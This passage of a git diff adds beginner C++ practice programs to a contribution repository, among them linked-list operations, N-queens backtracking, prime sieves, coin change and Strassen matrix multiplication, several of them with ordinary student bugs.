insertAtBegin(int value){ + struct node *temp=(struct node*)malloc(sizeof(struct node)); + temp->data=value; + if(head==NULL){ + head=temp; + temp->next=NULL; + return; + } + temp->next=head; + head=temp; +} + +int main(){ + int n; + cin>>n; + + int x; + for(int i=0;i>x; + insertAtBegin(x); + } + printf("Linked List\n"); + displayLLD(head); + mergeSort(&head); + printf("Merge Sorted Linked List\n"); + displayLLD(head); +} \ No newline at end of file diff --git a/CPP/minimumcoins.cpp b/CPP/minimumcoins.cpp new file mode 100644 index 000000000..727a3dfb6 --- /dev/null +++ b/CPP/minimumcoins.cpp @@ -0,0 +1,27 @@ +#include +using namespace std; +int notes[] = { 1, 2, 5, 15, 24, 50, 100, 200, 500, 2000 }; +int n = sizeof(notes) / sizeof(notes[0]); + + +void minchange(int sum){ + // Initializing the result + vector coins; + // Traverse through all denomination + for (int i = n - 1; i >= 0; i--) { + while (sum >= notes[i]) { + sum -= notes[i]; + coins.push_back(notes[i]); + } + } + for (int i = 0; i < coins.size(); i++) + cout << coins[i] << "\t"; +} + +//driver main class +int main(){ + int n = 3253; + cout << "The minimum number of coins/notes that sum up " << n << " is \t "; + minchange(n); + return 0; +} diff --git a/CPP/move-zeroes.cpp b/CPP/move-zeroes.cpp new file mode 100644 index 000000000..2429af67d --- /dev/null +++ b/CPP/move-zeroes.cpp @@ -0,0 +1,24 @@ +#include +using namespace std; + +void moveZeroes(vector& nums) { + int j=0; + for (int i=0;i nums={0,1,0,3,12}; + moveZeroes(nums); + for(auto x:nums){ + cout< +using namespace std; +#define N 5 + +void printBoard(int board[N][N]) +{ + for(int i=0;i=0 && j>=0; i--, j--) // check the upper left diagonal for other queens + { + if(board[i][j]) + { + return false; + } + } + + for(int i = row, j = col; i < N && j >= 0; i++, j--) // check the lower left diagonal for other queens + { + if(board[i][j]) + { + return false; + } + } + + return true; // if there is no queen to the left, on the upper or lower left diagonals place the queen on current board[row][col] +} + + +bool placeQueens(int board[N][N], int col) +{ + + if(col >= N) + { + return true; + } + + for(int i = 0; i < N; i++) + { + + if(isValid(board, i, col)) + { + board[i][col] = 1; + + printBoard(board); + cout << "\n\n"; + + if(placeQueens(board, col + 1)) + { + return true; + } + + cout << "steps failed. Backtracking" << endl; + board[i][col] = 0; + printBoard(board); + cout << "\n\n"; + + } + + } +} + + +int main() +{ + + int board[N][N]; + + for(int i = 0; i < N; i++) + { + for(int j = 0; j < N; j++) + { + board[i][j] = 0; + } + } + + if (placeQueens(board, 0) == false) + { + printf("Solution does not exist"); + return 0; + } + + printBoard(board); + + return 0; +} \ No newline at end of file diff --git a/CPP/ntn_node_from_end_in_ll.cpp b/CPP/ntn_node_from_end_in_ll.cpp new file mode 100644 index 000000000..7d4011162 --- /dev/null +++ b/CPP/ntn_node_from_end_in_ll.cpp @@ -0,0 +1,61 @@ +#include +using namespace std; + +struct node{ + int data; + struct node *next; +}; + +int findNthnodefromEnd(struct node* head_ref,int n){ + struct node* main=head_ref; + struct node* ref=head_ref; + + if(head_ref==NULL){ + return 0; + } + + int count=0; + while(count!=n-1){ + ref=ref->next; + count=count+1; + } + while (ref->next!=NULL) + { + ref=ref->next; + main=main->next; + } + return main->data; + +} + +void push(struct node** head_ref,int num){ + struct node* newnode=(struct node*)malloc(sizeof(struct node)); + newnode->data=num; + newnode->next=(*head_ref); + *head_ref=newnode; +} + +void print(struct node* head){ + struct node* temp=head; + while(temp!=NULL){ + printf("%d->",temp->data); + temp=temp->next; + } + printf("\n"); +} + +int main(){ + int n; + cin>>n; + struct node* head=NULL; + push(&head,20); + push(&head,29); + push(&head,30); + push(&head,52); + push(&head,68); + + print(head); + int x=findNthnodefromEnd(head,n); + printf("%d",x); + +} \ No newline at end of file diff --git a/CPP/palindromicPattern.cpp b/CPP/palindromicPattern.cpp new file mode 100644 index 000000000..db6ef26b0 --- /dev/null +++ b/CPP/palindromicPattern.cpp @@ -0,0 +1,26 @@ +#include +using namespace std; + +int main(){ + int n; + cout<<"enter no:-"; + cin>>n; + cout< +using namespace std; + +int main() +{ + int n; // last level + cin >> n; + int arr[n][n]; + for (int line = 0; line < n; ++line) + { + for(int space = 0; space <= n - line; ++space) cout << " "; + for (int i = 0; i <= line; i++) + { + if (line == i || i == 0) + arr[line][i] = 1; + else + arr[line][i] = arr[line - 1][i - 1] + arr[line - 1][i]; + + cout << arr[line][i] << " "; + } + cout << "\n"; + } +} \ No newline at end of file diff --git a/CPP/perfect_square.cpp b/CPP/perfect_square.cpp new file mode 100644 index 000000000..dfa7b5ac1 --- /dev/null +++ b/CPP/perfect_square.cpp @@ -0,0 +1,31 @@ +// CPP program to find if x is a +// perfect square. +#include +using namespace std; + +bool isPerfectSquare(long double x) +{ + // Find floating point value of + // square root of x. + if (x >= 0) { + + long long sr = sqrt(x); + + // if product of square root + //is equal, then + // return T/F + return (sr * sr == x); + } + // else return false if n<0 + return false; +} + +int main() +{ + long long x = 2502; + if (isPerfectSquare(x)) + cout << "Yes"; + else + cout << "No"; + return 0; +} diff --git a/CPP/pigeonHole.cpp b/CPP/pigeonHole.cpp new file mode 100644 index 000000000..694b71b0e --- /dev/null +++ b/CPP/pigeonHole.cpp @@ -0,0 +1,34 @@ +#include + +using namespace std; + +const int Nmax = 100005; +int fr[Nmax]; + +void findNumber(int n) { + int cur_rem = 0; + for(int i = 1; i <= n; i++) { + cur_rem = (cur_rem * 10 + 1) % n; + if(cur_rem == 0) { + for(int j = 1; j <= i; j++) + cout << 1; + return; + } + if(fr[cur_rem] != 0) { + for(int j = 1; j <= i - fr[cur_rem]; j++) + cout << 1; + for(int j = 1; j <= fr[cur_rem]; j++) + cout << 0; + return; + } + fr[cur_rem] = i; + } +} + +int main() +{ + int n; + cin >> n; + findNumber(n); + return 0; +} \ No newline at end of file diff --git a/CPP/potion.cpp b/CPP/potion.cpp new file mode 100644 index 000000000..8e6594ed9 --- /dev/null +++ b/CPP/potion.cpp @@ -0,0 +1,81 @@ +//Coded by Abhijay Mitra (AbJ) on 2021 / 02 / 22 in 18 : 20 : 33 +//title - F_Potion.cpp +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +// #include +#define double long double +#define int long long int +#define ll int +#define ibs ios_base::sync_with_stdio(false) +#define cti cin.tie(0) +#define bp __builtin_popcount +#define pb emplace_back +#define koto_memory(a) cout<<(sizeof(a)/1048576.0)<<" MB"; +#define res(v) sort(all(v)),v.erase(unique(all(v)), v.end()); +#define timer cerr << "Time elapsed : " << 1.0 * clock() / CLOCKS_PER_SEC << " sec "<; +using vvi = std::vector; +using pii = std::pair; +using vpii = std::vector; +using vvpii = std::vector; +#define mp make_pair +#define rep(i,a,b) for (int i = a; i <= b; i++) +#define per(i,b,a) for (int i = b; i >= a; i--) +#define all(x) x.begin(), x.end() +using namespace std; +const int N=1e2+10; +const int inf = /*0x3f3f3f3f*/3e18+10; +// const ll M = 998244353 ; // Mulo +// const int M = 1e9+7 ; // Mulo +const double Pi = 3.14159265; +#define F first +#define S second +int n, a[N], x, dp[N][N][N], cost = inf; +void f(int k){ + rep(i, 0, n) + rep(j, 0, n) + rep(k, 0, n) + dp[i][j][k] = - inf; + dp[0][0][0] = 0; + rep(i, 1, n) + rep(koita, 1, k) + //koita implies koita chosen + rep(sum, 0, k - 1){ + dp[i][koita][sum] = max(dp[i - 1][koita][sum], dp[i - 1][koita - 1][(sum - a[i] + (inf / k) * k) % k] != - inf ? (dp[i - 1][koita - 1][(sum - a[i] + (inf / k) * k) % k] + a[i]) : - inf); + } + if(dp[n][k][x % k] == - inf)return; + cost = min(cost, (x - dp[n][k][x % k]) / k); +} +void solve(){ + cin >> n >> x; + rep(i, 1, n) + cin >> a[i]; + rep(v, 1, n) + f(v); + cout << cost; + +} +int32_t main() +{ + ibs;cti; + solve();return 0; + int xx=0; + int t;cin>>t;while(t--){/*xx++;cout<<"Case "< +using namespace std; + +int main(){ + int a,b; + cin>>a>>b; + for (int range = a; range <= b; range++){ + int counter = 0; + if (range == 1){ + cout << range<<"\n"; + } + else{ + for (int factor = 1; factor <= range; factor++){ + if (range % factor == 0){ + counter++; + } + } + if (counter == 2){ + cout<< range<<"\n"; + } + } + } + return 0; +} diff --git a/CPP/primeNumber.cpp b/CPP/primeNumber.cpp new file mode 100644 index 000000000..0c04aa01c --- /dev/null +++ b/CPP/primeNumber.cpp @@ -0,0 +1,48 @@ +/* --logic-- +brute force method : O(n) + + searching for a divisor from 2 to n-1 through a loop + +optimized method : O(sqrt(n)) + + any number n which is not a prime can be written as 'n = a * b' where aE[2, n-1], hence b = n /a + n = a * b + -> b = n / a + -> a <= b + -> a * b >= a * a + -> n >= a * a + -> a <= sqrt(n) + +*/ + +#include +#include +using namespace std; + +bool isPrime(int n) +{ + if(n <= 1) + return false; + + + for(int i = 2; i <= sqrt(n); i++) + { + if(n % i == 0) + { + return false; + } + } + + return true; + +} + +int main() +{ + int n; + cin >> n; + + cout << boolalpha << isPrime(n) << endl; + + return 0; +} \ No newline at end of file diff --git a/CPP/pyramid.cpp b/CPP/pyramid.cpp new file mode 100644 index 000000000..f3a3ddf84 --- /dev/null +++ b/CPP/pyramid.cpp @@ -0,0 +1,23 @@ +#include +using namespace std; + +int main() +{ + int i=0,j=0,k=0,n=5; + while (i < n) { + + while (k <= n - i - 2) { + cout << " "; + k++; + } + k = 0; + while (j < 2 * i - 1) { + cout << "*"; + j++; + } + j = 0; + i++; + cout << endl; + } + return 0; +} diff --git a/CPP/pythagorean_triplet b/CPP/pythagorean_triplet new file mode 100644 index 000000000..ab1da53bb --- /dev/null +++ b/CPP/pythagorean_triplet @@ -0,0 +1,34 @@ +#include +#include +using namespace std; +bool trip(int arr[], int n) +{ + + for (int i = 0; i < n; i++) + { + arr[i] = arr[i] * arr[i]; + } + sort(arr, arr + n); + + int l = 0; + int r = i - 1; + for (int i = n - 1; i >= 2; i++) + { + while (l < r) + { + if (arr[l] + arr[r] == arr[i]) + { + return 1; + } + arr[l] + arr[r] < arr[i]) ? l++ : r--; + } + } + return 0; +} +int main() +{ + int arr[] = {5,6,4,1,3}; + int arr_size = sizeof(arr) / sizeof(arr[0]); + isTriplet(arr, arr_size) ? cout << "Yes" : cout << "No"; + return 0; +} diff --git a/CPP/remove_duplicates_sorted.cpp b/CPP/remove_duplicates_sorted.cpp new file mode 100644 index 000000000..3c85d151b --- /dev/null +++ b/CPP/remove_duplicates_sorted.cpp @@ -0,0 +1,48 @@ +#include +using namespace std; + +struct node{ + int data; + struct node *next; +}; + +void sort(struct node* head_ref){ + struct node* curr=head_ref; + while(curr!=NULL){ + if(curr->data==curr->next->data){ + curr->next=curr->next->next; + } + curr=curr->next; + } +} + +void push(struct node** head_ref,int num){ + struct node* newnode=(struct node*)malloc(sizeof(struct node)); + newnode->data=num; + newnode->next=(*head_ref); + *head_ref=newnode; +} + +void print(struct node* head){ + struct node* temp=head; + while(temp!=NULL){ + printf("%d->",temp->data); + temp=temp->next; + } + printf("\n"); +} + +int main(){ + struct node* head=NULL; + push(&head,68); + push(&head,68); + push(&head,42); + push(&head,42); + push(&head,20); + push(&head,20); + + print(head); + sort(head); + print(head); + +} \ No newline at end of file diff --git a/CPP/selectionSort.cpp b/CPP/selectionSort.cpp new file mode 100644 index 000000000..4db378ac6 --- /dev/null +++ b/CPP/selectionSort.cpp @@ -0,0 +1,45 @@ +//Submission for Hacktober Fest 2021 + +/* +Question: Selection Sort +Submitted by:- nehamotwani80 +Language Used:- C++ +*/ + +#include +using namespace std; +void swap(int *p,int *q) +{ + int temp; + temp=*p; + *p=*q; + *q=temp; +} +int main() +{ + int n,i,j,min_index; + cin>>n; + int arr[n]; + cout<<"enter the array:-"<>arr[i]; + + min_index=0; + for(i=0;i +using namespace std; + +void SieveOfEratosthenes(int n) +{ + // Create a boolean array + // "prime[0..n]" and initialize + // all entries it as true. + // A value in prime[i] will + // finally be false if i is + // Not a prime, else true. + bool prime[n + 1]; + memset(prime, true, sizeof(prime)); + + for (int p = 2; p * p <= n; p++) + { + // If prime[p] is not changed, + // then it is a prime + if (prime[p] == true) + { + // Update all multiples + // of p greater than or + // equal to the square of it + // numbers which are multiple + // of p and are less than p^2 + // are already been marked. + for (int i = p * p; i <= n; i += p) + prime[i] = false; + } + } + + // Print all prime numbers + for (int p = 2; p <= n; p++) + if (prime[p]) + cout << p << " "; +} + +// Driver Code +int main() +{ + int n = 30; + cout << "Following are the prime numbers smaller " + << " than or equal to " << n << endl; + SieveOfEratosthenes(n); + return 0; +} diff --git a/CPP/simplecalculator.cpp b/CPP/simplecalculator.cpp new file mode 100644 index 000000000..479b83a01 --- /dev/null +++ b/CPP/simplecalculator.cpp @@ -0,0 +1,38 @@ +# include +using namespace std; + +int main() { + char op; + float num1, num2; + + cout << "Enter operator: +, -, *, /: "; + cin >> op; + + cout << "Enter two operands: "; + cin >> num1 >> num2; + + switch(op) { + case '+': + cout << num1 << " + " << num2 << " = " << num1 + num2; + break; + + case '-': + cout << num1 << " - " << num2 << " = " << num1 - num2; + break; + + case '*': + cout << num1 << " * " << num2 << " = " << num1 * num2; + break; + + case '/': + cout << num1 << " / " << num2 << " = " << num1 / num2; + break; + + default: + // If the operator is other than +, -, * or /, error message is shown + cout << "Error! operator is not correct"; + break; + } + + return 0; +} diff --git a/CPP/singlylinkedlist-menuprog.cpp b/CPP/singlylinkedlist-menuprog.cpp new file mode 100644 index 000000000..ca2bfb21b --- /dev/null +++ b/CPP/singlylinkedlist-menuprog.cpp @@ -0,0 +1,368 @@ +#include + +using namespace std; + +class Node{ + public: + int data; + Node *next; + + ~Node(){ + cout << "Node : " << data << " removed" << endl; + } +}; + +// Functions that require the pointer to the object only +bool isEmpty(Node *head){ + if(head == NULL){ + return true; + } + else{ + return false; + } +} + +void printList(Node *head){ + Node *temp = head; + if(isEmpty(head)){ + cout << "List is empty" << endl; + } + for(int i = 0; temp != NULL; i++){ + if(temp->next == NULL){ + cout << temp->data; + temp = temp->next; + } + else{ + cout << temp->data << " -> "; + temp = temp->next; + } + } + cout << endl; +} + +Node* get_tail(Node *head){ + Node* temp_node; + temp_node = head; + while(temp_node->next != NULL){ + temp_node = temp_node->next; + } + return temp_node; +} + +void deleteAll(Node **head){ + Node *temp = *head; + for(int i = 0; temp != NULL; i++){ + Node *temp_t = temp; + delete(temp); + temp = temp_t->next; + } + *head = NULL; +} + +void insert_after(int data, Node *head){ + // Search node + int new_data; + cout << "Enter value of the new node:" << endl; + cin >> new_data; + + // if head is null + if(isEmpty(head)){ + cout << "List is empty" << endl; + return; + } + + Node *temp_node = head; + for(int i = 0; temp_node != NULL; i++){ + if(temp_node->data == data){ + // Found the node + + // Storing the next node + Node *next_node = temp_node->next; + + // Creating node + Node *new_node = new Node(); + + // Putting the next node on the new node + new_node->next = next_node; + + // Data of the new_node + new_node->data = new_data; + + // the current node needs its next to be updated + temp_node->next = new_node; + } + temp_node = temp_node->next; + } +} + +void index(int data, Node *head){ + Node *temp_node = head; + + // check if list is empty + if(isEmpty(head)){ + cout << "List is empty" << endl; + return; + } + + bool found = false; + int index = 0; + while(temp_node != NULL){ + if(temp_node->data == data){ + found = true; + cout << "Found it at: " << index << endl; + return; + } + index++; + temp_node = temp_node->next; + } +} + +// Require the reference of the pointer storing the pointer to the object +void init_list(Node **head){ + Node* temp_node = NULL; + int data; + int size; + + cout << "Enter the size of the list " << endl; + cin >> size; + + cout << "Enter the node 1" <> data; + (*head) = new Node(); + (*head)->data = data; + + temp_node = *head; + + for(int i = 1; i < size; i++){ + Node *temp = new Node(); + cout << "Enter the node " << i+1 << endl; + cin >> data; + + // updating the new node with data + temp->data = data; + temp->next = NULL; + + // Updating the previous node + temp_node->next = temp; + + // changing the temp_node + temp_node = temp; + } +} + + +void push_front(Node **head){ + // if empty + if(isEmpty(*head)){ + Node *newNode = new Node(); + newNode->next = NULL; + cout << "Enter the data of new node:" << endl; + cin >> newNode->data; + *head = newNode; + return; + } + + Node *next_to_head; + // Copying head to the next element of the new head + next_to_head = *head; + + // creating a new head + Node *new_head = new Node(); + int data; + cout << "Enter the data of the new node: " << endl; + cin >> data; + + new_head->data = data; + new_head->next = next_to_head; + *head = new_head; +} + +void push_back(Node **head){ + + // if list empty + if(isEmpty(*head)){ + Node *new_head = new Node(); + int data; + cout << "Enter the data of the new node: " << endl; + cin >> data; + new_head->data = data; + new_head->next = NULL; + *head = new_head; + return; + } + + Node *tail_node = get_tail(*head); + Node *new_node = new Node(); + + int data; + cout << "Enter the new node data" << endl; + cin >> data; + + new_node->data = data; + tail_node->next = new_node; +} + +void insert_before(int data, Node **head){ + // insert node before the node with data + int new_data; + cout << "Enter value of the new node:" << endl; + cin >> new_data; + + Node *temp_node = *head; + Node *prev_node = NULL; + + // if head is null + if(isEmpty(*head)){ + cout << "List is empty" << endl; + return; + } + + // if the data is in the head + if((*head)->data == data){ + // push front + push_front(head); + return; + } + for(int i = 0; temp_node != NULL; i++){ + if(temp_node->data == data){ + // Found the node + // Creating node + Node *new_node = new Node(); + + // Putting the next node on the new node + new_node->next = temp_node; + + // Data of the new_node + new_node->data = new_data; + + // the previous node needs its next to be updated + prev_node->next = new_node; + } + prev_node = temp_node; + temp_node = temp_node->next; + } +} + +void delete_head(Node **head){ + Node *nextNode = (*head)->next; + delete(*head); + *head = nextNode; +} + +void delete_tail(Node **head){ + Node *temp_node = *head; + Node *prev_node = NULL; + + // if head is the tail + if(temp_node->next == NULL){ + delete(temp_node); + *head = NULL; + return; + } + + while(temp_node->next != NULL){ + prev_node = temp_node; + temp_node = temp_node->next; + } + prev_node->next = NULL; + delete(temp_node); +} + +void delete_node(int data, Node **head){ + Node *temp_node = *head; + Node *prev_node = NULL; + + while(temp_node != NULL){ + if(temp_node->data == data){ + //check if temp_node is the head + if(prev_node == NULL){ + // This is a head + *head = temp_node->next; + delete temp_node; + temp_node = *head; + return; + } + else{ + // This is not head + prev_node->next = temp_node->next; + delete temp_node; + temp_node = prev_node->next; + } + } + else{ + prev_node = temp_node; + temp_node = temp_node->next; + } + } +} + +int main(){ + Node* head = NULL; + int data; + int choice; + + // Menu driven program + while(1){ + cout << "1. Initialize the list" << endl; + cout << "2. Display the list" << endl; + cout << "3. Insert at the front" << endl; + cout << "4. Insert at the back" << endl; + cout << "5. Insert before a node" << endl; + cout << "6. Insert after a node" << endl; + cout << "7. Delete the head" << endl; + cout << "8. Delete the tail" << endl; + cout << "9. Delete a node" << endl; + cout << "10. Search for a node" << endl; + cout << "11. Exit" << endl; + cout << "Enter your choice: " << endl; + cin >> choice; + + switch(choice){ + case 1: + init_list(&head); + break; + case 2: + printList(head); + break; + case 3: + push_front(&head); + break; + case 4: + push_back(&head); + break; + case 5: + cout << "Enter the data of the node: " << endl; + cin >> data; + insert_before(data, &head); + break; + case 6: + cout << "Enter the data of the node: " << endl; + cin >> data; + insert_after(data, head); + break; + case 7: + delete_head(&head); + break; + case 8: + delete_tail(&head); + break; + case 9: + cout << "Enter the data of the node: " << endl; + cin >> data; + delete_node(data, &head); + break; + case 10: + cout << "Enter the data of the node: " << endl; + cin >> data; + index(data, head); + break; + case 11: + deleteAll(&head); + exit(0); + break; + default: + cout << "Invalid choice" << endl; + } + } + return 0; +} \ No newline at end of file diff --git a/CPP/sort_frequency.cpp b/CPP/sort_frequency.cpp new file mode 100644 index 000000000..669a00746 --- /dev/null +++ b/CPP/sort_frequency.cpp @@ -0,0 +1,96 @@ +// Sort elements by frequency. If two elements have same +// count, then put the elements that appears first +#include +using namespace std; + +// Used for sorting +struct ele { + int count, index, val; +}; + +// Used for sorting by value +bool mycomp(struct ele a, struct ele b) +{ + return (a.val < b.val); +} + +// Used for sorting by frequency. And if frequency is same, +// then by appearance +bool mycomp2(struct ele a, struct ele b) +{ + if (a.count != b.count) + return (a.count < b.count); + else + return a.index > b.index; +} + +void sortByFrequency(int arr[], int n) +{ + struct ele element[n]; + for (int i = 0; i < n; i++) { + + // Fill Indexes + element[i].index = i; + + // Initialize counts as 0 + element[i].count = 0; + + // Fill values in structure + // elements + element[i].val = arr[i]; + } + + /* Sort the structure elements according to value, + we used stable sort so relative order is maintained. + */ + stable_sort(element, element + n, mycomp); + + /* initialize count of first element as 1 */ + element[0].count = 1; + + /* Count occurrences of remaining elements */ + for (int i = 1; i < n; i++) { + + if (element[i].val == element[i - 1].val) { + element[i].count += element[i - 1].count + 1; + + /* Set count of previous element as -1, we are + doing this because we'll again sort on the + basis of counts (if counts are equal than on + the basis of index)*/ + element[i - 1].count = -1; + + /* Retain the first index (Remember first index + is always present in the first duplicate we + used stable sort. */ + element[i].index = element[i - 1].index; + } + + /* Else If previous element is not equal to current + so set the count to 1 */ + else + element[i].count = 1; + } + + /* Now we have counts and first index for each element + so now sort on the basis of count and in case of tie + use index to sort.*/ + stable_sort(element, element + n, mycomp2); + for (int i = n - 1, index = 0; i >= 0; i--) + if (element[i].count != -1) + for (int j = 0; j < element[i].count; j++) + arr[index++] = element[i].val; +} + +// Driver program +int main() +{ + int arr[] = { 2, 5, 2, 6, -1, 9999999, 5, 8, 8, 8 }; + int n = sizeof(arr) / sizeof(arr[0]); + + sortByFrequency(arr, n); + + for (int i = 0; i < n; i++) + cout << arr[i] << " "; + return 0; +} diff --git a/CPP/sort_ll_of_0_1_2.cpp b/CPP/sort_ll_of_0_1_2.cpp new file mode 100644 index 000000000..2dcd342fd --- /dev/null +++ b/CPP/sort_ll_of_0_1_2.cpp @@ -0,0 +1,73 @@ +#include +using namespace std; + +struct node{ + int data; + struct node *next; +}; + +struct node *sort(struct node* head_ref){ + struct node* main=head_ref; + int n0=0; + int n1=0; + int n2=0; + + while(main !=NULL){ + if(main->data==0){ + n0++; + } + if(main->data==1){ + n1++; + } + if(main->data==2){ + n2++; + } + main=main->next; + } + main=head_ref; + while(n0!=0){ + main->data=0; + main=main->next; + n0--; + } + while(n1!=0){ + main->data=1; + main=main->next; + n1--; + } + while(n2!=0){ + main->data=2; + main=main->next; + n2--; + } + + return head_ref; +} + +void push(struct node** head_ref,int num){ + struct node* newnode=(struct node*)malloc(sizeof(struct node)); + newnode->data=num; + newnode->next=(*head_ref); + *head_ref=newnode; +} + +void print(struct node* head){ + struct node* temp=head; + while(temp!=NULL){ + printf("%d->",temp->data); + temp=temp->next; + } + printf("\n"); +} + +int main(){ + struct node* head=NULL; + push(&head,2); + push(&head,2); + push(&head,2); + + print(head); + sort(head); + print(head); + +} \ No newline at end of file diff --git a/CPP/stocks_Buy_And_Sell_Problem.cpp b/CPP/stocks_Buy_And_Sell_Problem.cpp new file mode 100644 index 000000000..54b228c1f --- /dev/null +++ b/CPP/stocks_Buy_And_Sell_Problem.cpp @@ -0,0 +1,26 @@ +#include + +using namespace std; + +int stocksProfit(int arr[],int n){ + int minPrice= INT_MAX; + int maxProfit = 0; + for(int i=0 ; i>n; + int arr[n]; + for(int i =0 ; i>arr[i]; + } + cout<<"Maximum Profit: "< +using namespace std; + +#define ff(i, a, b) for (int i = int(a); i < int(b); i++) +#define ffn(i, n) ff(i, 0, n) + +static bool comp(vector &v1, vector &v2) +{ + return (v1[1] < v2[1]); +} + +vector> aloc_ary(vector> a, int l, int m, int n) +{ + int i, k, o, b; + vector> c(n, vector(n, 0)); + + for (k = 0, i = l; k < n; k++, i++) + for (o = 0, b = m; o < n; o++, b++) + c[k][o] = a[i][b]; + return c; +} + +vector> adn_ary(vector> a, vector> b, int n) +{ + vector> c(n, vector(n, 0)); + int i, j; + ffn(i, n) + ffn(j, n) + c[i][j] = a[i][j] + b[i][j]; + return c; +} + +vector> sbn_ary(vector> a, vector> b, int n) +{ + vector> c(n, vector(n, 0)); + int i, j; + ffn(i, n) + ffn(j, n) + c[i][j] = a[i][j] - b[i][j]; + return c; +} + +void crt(vector g[], int n, int st) +{ + queue q; + bool v[n + 1]; + memset(v, 0, sizeof(v)); + q.push(st); + v[st] = 1; + + while (!q.empty()) + { + int a = q.front(); + q.pop(); + ffn(j, g[a].size()) + { + if (!v[g[a][j]]) + { + q.push(g[a][j]); + v[g[a][j]] = 1; + } + } + } +} + +void cbn_ary(vector> &c, vector> c11, int i, int j, int n) +{ + int a, b, x, y; + for (a = 0, x = i; a < n; a++, x++) + for (b = 0, y = j; b < n; b++, y++) + c[x][y] = c11[a][b]; +} + +vector> mul_ary(vector> ary1, vector> ary2, int n) +{ + if (n == 1) + { + vector> res(n, vector(n, 0)); + res[0][0] = ary1[0][0] * ary2[0][0]; + return res; + } + + vector> ary1_11 = aloc_ary(ary1, 0, 0, n / 2); + vector> ary1_12 = aloc_ary(ary1, 0, n / 2, n / 2); + vector> ary1_21 = aloc_ary(ary1, n / 2, 0, n / 2); + vector> ary1_22 = aloc_ary(ary1, n / 2, n / 2, n / 2); + vector> ary2_11 = aloc_ary(ary2, 0, 0, n / 2); + vector> ary2_12 = aloc_ary(ary2, 0, n / 2, n / 2); + vector> ary2_21 = aloc_ary(ary2, n / 2, 0, n / 2); + vector> ary2_22 = aloc_ary(ary2, n / 2, n / 2, n / 2); + + vector> ary_tmp1 = mul_ary(adn_ary(ary1_11, ary1_22, n / 2), adn_ary(ary2_11, ary2_22, n / 2), n / 2); + vector> ary_tmp2 = mul_ary(adn_ary(ary1_21, ary1_22, n / 2), ary2_11, n / 2); + vector> ary_tmp3 = mul_ary(ary1_11, sbn_ary(ary2_12, ary2_22, n / 2), n / 2); + vector> ary_tmp4 = mul_ary(ary1_22, sbn_ary(ary2_21, ary2_11, n / 2), n / 2); + vector> ary_tmp5 = mul_ary(adn_ary(ary1_11, ary1_12, n / 2), ary2_22, n / 2); + vector> ary_tmp6 = mul_ary(sbn_ary(ary1_21, ary1_11, n / 2), adn_ary(ary2_11, ary2_12, n / 2), n / 2); + vector> ary_tmp7 = mul_ary(sbn_ary(ary1_12, ary1_22, n / 2), adn_ary(ary2_21, ary2_22, n / 2), n / 2); + vector> res11 = adn_ary(sbn_ary(adn_ary(ary_tmp1, ary_tmp4, n / 2), ary_tmp5, n / 2), ary_tmp7, n / 2); + vector> res12 = adn_ary(ary_tmp3, ary_tmp5, n / 2); + vector> res21 = adn_ary(ary_tmp2, ary_tmp4, n / 2); + vector> res22 = adn_ary(sbn_ary(adn_ary(ary_tmp1, ary_tmp3, n / 2), ary_tmp2, n / 2), ary_tmp6, n / 2); + + vector> res(n, vector(n, 0)); + cbn_ary(res, res11, 0, 0, n / 2); + cbn_ary(res, res12, 0, n / 2, n / 2); + cbn_ary(res, res21, n / 2, 0, n / 2); + cbn_ary(res, res22, n / 2, n / 2, n / 2); + return res; +} + +int main() +{ + int n, i, j, x; + cin >> n; + + if (log2(n) != floor(log2(n))) + x = pow(2, ceil(log2(n))); + else + x = n; + + vector> ary1(n, vector(n,0)); + vector> ary2(n, vector(n,0)); + for (i = 0; i < n; ++i) + for (j = 0; j < n; ++j) + scanf("%d", &ary1[i][j]); + + for (i = 0; i < n; ++i) + for (j = 0; j < n; ++j) + scanf("%d", &ary2[i][j]); + + vector> mul1(x + 1, vector(x + 1, 0)); + vector> mul2(x + 1, vector(x + 1, 0)); + + for (i = 0; i < n; ++i) { + for (j = 0; j < n; ++j) { + mul1[i][j] = ary1[i][j]; + mul2[i][j] = ary2[i][j]; + } + } + + vector> res_arr(n, vector(n, 0)); + res_arr = mul_ary(mul1, mul2, x); + ffn(i, n) + { + ffn(j, n) + cout << res_arr[i][j] << " "; + cout << "\n"; + } + return 0; +} \ No newline at end of file diff --git a/CPP/subset_array.cpp b/CPP/subset_array.cpp new file mode 100644 index 000000000..5ce8d2ac5 --- /dev/null +++ b/CPP/subset_array.cpp @@ -0,0 +1,52 @@ +// C++ program to find maximum average subarray +// of given length. +#include +using namespace std; + +// Returns beginning index of maximum average +// subarray of length 'k' +int findMaxAverage(int arr[], int n, int k) +{ + // Check if 'k' is valid + if (k > n) + return -1; + + // Create and fill array to store cumulative + // sum. csum[i] stores sum of arr[0] to arr[i] + int *csum = new int[n]; + csum[0] = arr[0]; + for (int i=1; i max_sum) + { + max_sum = curr_sum; + max_end = i; + } + } + + delete [] csum; // To avoid memory leak + + // Return starting index + return max_end - k + 1; +} + +// Driver program +int main() +{ + int arr[] = {1, 12, -5, -6, 50, 3}; + int k = 4; + int n = sizeof(arr)/sizeof(arr[0]); + cout << "The maximum average subarray of " + "length "<< k << " begins at index " + << findMaxAverage(arr, n, k); + return 0; +} diff --git a/CPP/subset_array1.cpp b/CPP/subset_array1.cpp new file mode 100644 index 000000000..5ce8d2ac5 --- /dev/null +++ b/CPP/subset_array1.cpp @@ -0,0 +1,52 @@ +// C++ program to find maximum average subarray +// of given length. +#include +using namespace std; + +// Returns beginning index of maximum average +// subarray of length 'k' +int findMaxAverage(int arr[], int n, int k) +{ + // Check if 'k' is valid + if (k > n) + return -1; + + // Create and fill array to store cumulative + // sum. csum[i] stores sum of arr[0] to arr[i] + int *csum = new int[n]; + csum[0] = arr[0]; + for (int i=1; i max_sum) + { + max_sum = curr_sum; + max_end = i; + } + } + + delete [] csum; // To avoid memory leak + + // Return starting index + return max_end - k + 1; +} + +// Driver program +int main() +{ + int arr[] = {1, 12, -5, -6, 50, 3}; + int k = 4; + int n = sizeof(arr)/sizeof(arr[0]); + cout << "The maximum average subarray of " + "length "<< k << " begins at index " + << findMaxAverage(arr, n, k); + return 0; +} diff --git a/CPP/tappinrainwater.cpp b/CPP/tappinrainwater.cpp new file mode 100644 index 000000000..174dd5242 --- /dev/null +++ b/CPP/tappinrainwater.cpp @@ -0,0 +1,43 @@ +#include +using namespace std; + +//Efficient implementation with time complexity - O(N). +int maxWater(int arr[], int n) +{ + int left = 0; + int right = n-1; + int res = 0; + int maxleft = 0, maxright = 0; + while(left <= right) + { + if(arr[left] <= arr[right]) + { + if(arr[left] >= maxleft) + 